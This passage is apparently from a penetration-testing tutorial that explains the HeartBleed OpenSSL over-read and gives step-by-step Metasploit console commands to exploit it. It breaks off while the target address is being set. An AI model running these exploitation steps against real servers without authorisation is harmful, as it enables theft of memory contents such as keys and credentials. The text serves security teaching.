A tale of a bleeding heart

HeartBleed is a vulnerability in OpenSSL cryptography, which is said to be introduced in 2012 and publicly disclosed in 2014. It is a buffer over-read vulnerability where more data can be read than is allowed.

In this recipe, you will learn how to exploit HeartBleed using Metasploit's auxiliary module.

How to do it...

To learn about HeartBleed follow the given steps:

1. We start the msfconsole by typing this:

        msfconsole

The following screenshot shows the output for the preceding command:

2. We then search for the HeartBleed auxiliary using the following command:

        search heartbleed

The following screenshot shows the output for the preceding command:

3. Next, we use the auxiliary using the following command:

        use auxiliary/scanner/ssl/openssl_heartbleed

4. We then see the options using the following command:

        show options

The following screenshot shows the output for the preceding command:

5. Now we set the RHOSTS to our target IP using this:

        set RHOSTS x.x...